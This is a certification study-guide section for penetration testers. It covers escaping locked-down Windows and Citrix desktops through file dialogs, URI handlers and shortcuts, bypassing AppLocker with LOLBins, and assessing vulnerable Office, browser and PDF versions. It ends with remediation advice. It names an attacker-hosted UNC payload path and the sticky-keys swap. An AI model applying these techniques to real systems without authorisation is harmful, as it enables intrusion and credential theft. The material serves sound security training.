8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

CREST Practitioner Security Analyst CPSA

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Soft Skills, Legal Framework & Assessment Management

1.1 The Penetration Testing Engagement Lifecycle & Scoping 1.2 Legal Framework: Computer Misuse Act & Compliance 1.3 Understanding, Explaining & Managing Technical Risk 1.4 Record Keeping, Interim Escalation & Reporting Standards

2 Chapter 2: Core Networking: IP Protocols & Network Architectures

2.1 IPv4 and IPv6 Addressing, Subnetting & Header Architecture 2.2 TCP and UDP Transport Protocols & Handshake Mechanics 2.3 ICMP Protocol, Network Diagnostics & Error Messages 2.4 Network Topologies, Switched Media & VLAN Segmentation 2.5 Network Media, Ethernet Standards & Physical Topologies

3 Chapter 3: Cryptography & Secure Communication Protocols

3.1 Symmetric & Asymmetric Cryptographic Algorithms 3.2 Cryptographic Hash Functions, MACs & Digital Signatures 3.3 Secure Protocols: SSL/TLS, IPsec & SSH

4 Chapter 4: Background Information Gathering & OSINT Reconnaissance

4.1 WHOIS Records, Domain Registrars & Autonomous Systems 4.2 DNS Infrastructure, Record Types & Zone Transfers 4.3 Search Engine Reconnaissance, Google Dorking & Information Leakage 4.4 Newsgroups, Mailing Lists & Public Archive Reconnaissance

5 Chapter 5: Networking Equipment & Infrastructure Protocols

5.1 Router & Switch Management: SNMP, SSH & Authentication 5.2 Layer 2 Protocols: ARP, CDP, STP, VTP & Redundancy 5.3 Core Network Services: DHCP, NTP & TFTP 5.4 Wireless Security (802.11) & VoIP Assessment 5.5 Out-of-Band Management, Console Access & Cisco Reverse Telnet

6 Chapter 6: Network Mapping, Nmap Techniques & Target Identification

6.1 Host Discovery Techniques & Ping Sweep Methodologies 6.2 Port Scanning Mechanics: TCP, UDP & Stealth Scans 6.3 OS Fingerprinting, Service Detection & Timing Templates 6.4 Firewall and IDS/IPS Evasion Techniques 6.5 Passive OS & Service Fingerprinting 6.6 Network Access Control Analysis & Firewall Rule Base Review

7 Chapter 7: Vulnerability Identification & Tool Output Analysis

7.1 Vulnerability Scanning Principles & Methodology 7.2 CVE Referencing, CVSS Scoring & Risk Prioritisation 7.3 Banner Grabbing, Service Verification & Manual Triage 7.4 Host Audit Techniques: Processes, Sockets, Patch Levels & Interesting Files

8 Chapter 8: Microsoft Windows Security Assessment & Active Directory

8.1 Active Directory Architecture & Domain Reconnaissance 8.2 Windows User & Group Enumeration via SMB & RPC 8.3 Windows Authentication: NTLM, Kerberos & Password Security 8.4 Windows Patch Management, Local Security & Common Services 8.5 Windows File System, Share & Registry Permissions 8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

9 Chapter 9: Unix & Linux Security Assessment & Legacy Services

9.1 Linux/Unix Security Architecture, Permissions & Filesystem 9.2 Unix User Enumeration & Service Discovery 9.3 Network File System (NFS) & RPC Services Assessment 9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH 9.5 Unix Remote Information Services: rusers, rwho, finger & systat 9.6 Unix Vulnerability Exploitation & Post-Exploitation Workflow

10 Chapter 10: Web Architectures, Technologies & Testing Methodologies

10.1 Web Server Architecture & the HTTP/HTTPS Protocol 10.2 Web Application Components, Frameworks & State Management 10.3 Web Reconnaissance, Content Discovery & Threat Modelling 10.4 Testing Authentication, Authorization & Session Management 10.5 Web Service Protocols: SOAP, REST & XML Messaging 10.6 Web APIs, Server Extensions & Client-Side Sub-Components

11 Chapter 11: Web Testing Techniques & OWASP Top Vulnerabilities

11.1 Input Validation Vulnerabilities & Parameter Manipulation 11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses 11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks 11.4 Command Injection, File Upload Vulnerabilities & API Flaws 11.5 Information Disclosure: Error Messages & Mark-up Leakage 11.6 Injection Beyond SQL: LDAP, XPath, Code & Template Injection 11.7 Source Code Review & Encoded/Cryptographic Value Analysis

12 Chapter 12: Database Security Assessment & SQL Injection

12.1 Database Architectures, Default Ports & Authentication 12.2 SQL Injection (SQLi) Foundations & In-Band Techniques 12.3 Blind SQL Injection & Database Enumeration 12.4 Database Attack Vectors, Stored Procedures & Hardening

8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

Key Takeaways Explain This Topic AI

A locked-down desktop or published Citrix application is escaped by reaching a file dialog, a help viewer, a URI handler or an embedded browser that spawns an unrestricted process.

Common Dialog boxes (Open/Save/Print) expose an Explorer-like view from which cmd.exe or an arbitrary binary can be launched.

AppLocker and Software Restriction Policies are bypassed via trusted LOLBins such as rundll32, mshta, regsvr32 and installutil, and via writable allow-listed paths.

Microsoft Office malicious macros, template injection and legacy equation-editor flaws remain primary client-side execution vectors.

Common Windows applications are assessed by identifying exact versions and matching them to public exploit code, prioritising internet-facing and user-facing software.

Last updated: September 2026

8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

Two syllabus items sit together here. E7 (Desktop Lockdown) asks for knowledge of techniques to break out of a locked-down Windows desktop or Citrix environment, and the privilege-escalation techniques that follow. E9 (Common Windows Applications) asks for knowledge of significant vulnerabilities in common Windows applications for which public exploit code exists. Both are about the reality that most enterprise compromise starts not at a server but at a user's constrained desktop .

1. What "Locked-Down" Means

Organisations restrict end-user environments to limit what a compromised or malicious user can do. Common mechanisms:

Kiosk mode / assigned access — a single application runs full-screen with no desktop, Start menu or task bar.

Published applications (Citrix / RDS RemoteApp) — the user sees one application window streamed from a server; there is supposedly no access to the underlying desktop.

Group Policy restrictions — no access to cmd.exe , regedit.exe , Control Panel, drive letters, Task Manager, the Run box.

Application allow-listing — AppLocker or Windows Defender Application Control (WDAC) permit only approved executables to run.

The assessor's job is to determine whether these restrictions actually hold. They very often do not, because a lockdown is only as strong as its weakest reachable function .

2. Breaking Out: The Reachable-Function Principle

Escape works by finding any UI element that lets you reach the file system or spawn a new process, then pivoting from there.

Common Dialog Boxes

Any File > Open , Save As , Print , Import or Browse dialog contains an embedded Explorer view. From it you can:

type a path into the filename box ( \\attacker\share\payload.exe , C:\Windows\System32\cmd.exe ) and press Enter or choose "Open";

• right-click a file and select Open , Run as , or Open with ;
• change "Files of type" to "All Files", navigate to System32 , and launch cmd.exe , powershell.exe or mmc.exe ;

type a UNC path to browse to attacker-hosted tooling.

If the application can produce any of these dialogs — often via a Help menu, an attachment feature, a print-to-file option, or an "About" box with a hyperlink — the lockdown is broken.

Help, URI Handlers and Embedded Browsers

Help viewers ( .chm , legacy WinHlp) can contain links that execute shell: commands or shortcuts to programs.

URI/protocol handlers — typing file:///c:/windows/system32/cmd.exe , search-ms: , shell: , or a custom registered scheme into any address-bar-like field, hyperlink, or embedded browser can launch a process.

Embedded web content — an application that renders HTML (an embedded WebView, an email preview pane, a chat client) may allow navigation to a local resource or a downloaded executable.

Right-click context menus on the desktop, a document, or a hyperlink frequently expose "Open file location", which lands you in Explorer.

Keyboard Shortcuts

Restrictions that hide the UI often forget the accelerators: Win+R (Run), Win+E (Explorer), Ctrl+Shift+Esc (Task Manager, whose File > Run task spawns a process), Shift+F10 (context menu), and the Windows accessibility hotkeys. The sticky-keys / utilman trick — invoking an accessibility tool that has been replaced with cmd.exe — is the same idea at the logon screen.

Citrix / RDS Published-Application Escape

A published application is just a program running on a shared server with the desktop hidden. Every technique above applies, plus:

reaching Internet Explorer or Edge through an in-app hyperlink, then using its address bar and download capability;

• using the application's own scripting (Office macros, a database query tool's shell function);
• drive mapping : client drives are often mapped into the session, providing a path to deliver tooling;

once a shell is obtained on the Citrix server, the target is escalation to SYSTEM and then harvesting the credentials of every other user on that shared server — a Citrix server is a high-value multi-user host.

3. Bypassing Application Allow-Listing

AppLocker and SRP restrict which binaries run, but a default policy has well-known gaps:

LOLBins (Living-off-the-Land Binaries) — signed, Microsoft-trusted executables that can run arbitrary code and are usually allow-listed: rundll32.exe , mshta.exe , regsvr32.exe (the "Squiblydoo" technique), installutil.exe , msbuild.exe , cscript.exe / wscript.exe , certutil.exe (download/decode), and msiexec.exe . The LOLBAS project catalogues these.

Writable allow-listed locations — default AppLocker rules permit anything under C:\Windows and C:\Program Files . Sub-directories that are world-writable (for example some log or temp folders under C:\Windows ) let an attacker place a binary in an allowed path.

Interpreted and script hosts — if PowerShell is not placed in Constrained Language Mode, or if .hta , .js , .vbs or macro execution is allowed, code runs without an executable of its own.

Alternate data streams and DLL side-loading — loading a malicious DLL through a trusted, allow-listed executable.

The assessment question is not "is AppLocker enabled?" but "which of these gaps is present?", and the evidence is the specific technique that ran.

4. Assessing Common Windows Applications (E9)

Beyond the OS, the syllabus expects assessment of the ubiquitous client applications where public exploit code exists. The methodology is the same as any version-based assessment: identify the exact version, then match it to known vulnerabilities , prioritising software that processes untrusted input.

Application class Why it matters Representative issues to look for

Microsoft Office Opens attachments from anyone Macro-enabled documents; remote template injection ; the Equation Editor flaw (CVE-2017-11882); Follina/MSDT (CVE-2022-30190); protected-view bypasses

Web browsers Render hostile content constantly Out-of-date Chrome/Edge/Firefox with public RCE; malicious extensions; stored credentials

• PDF readers Untrusted documents Adobe Reader JavaScript and parser vulnerabilities
• Archive/utility tools Process attacker files e.g. the 7-Zip/WinRAR path and MotW handling flaws
• Java / .NET runtimes Widely installed, widely outdated Deserialization, applet-era flaws on legacy estates
• Remote-access and collaboration clients Network-exposed Version-specific RCEs; insecure update channels

Line-of-business / third-party apps Rarely patched Hardcoded credentials, insecure update mechanisms, DLL side-loading

Office deserves specific attention because it is the dominant initial-access vector. A macro-enabled document that runs on open, a document that fetches a weaponised template from a remote URL (template injection, which needs no macro warning), or an old Equation Editor object are all standard client-side execution techniques — and they escape the desktop lockdown at the same time, because Office's own scripting is the breakout.

Enumerate installed applications and versions during a credentialed audit: Get-CimInstance Win32_Product | Select Name,Version # MSI-installed apps

• Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
• Select DisplayName,DisplayVersion
• Get-AppxPackage | Select Name,Version # Store apps

Then correlate versions against vendor advisories and the public exploit catalogues, exactly as in the patch-level audit (section 7.4).

5. Reporting and Remediation

A lockdown-escape finding must show the exact path : which application, which dialog or handler, and the resulting process. "The Citrix session could be escaped" is not actionable; "the published PDF viewer's Help > About dialog contains a hyperlink that opens Edge, whose address bar launched file:///c:/windows/system32/cmd.exe , yielding an interactive shell as the session user" is. Remediation combines several layers, because no single control is sufficient:

Remove reachable escape functions : disable Help hyperlinks, restrict file dialogs, remove unnecessary menus.

Enforce strong application allow-listing , including blocking known LOLBins and running PowerShell in Constrained Language Mode.

Patch the client applications , treating Office, browsers and PDF readers as high priority because they process untrusted input.

Disable Office macros from the internet by default , block child-process creation from Office (Attack Surface Reduction rules), and enable Protected View.

Harden the Citrix/RDS host itself : least privilege, current patches, and monitoring — because a breakout there exposes every concurrent user.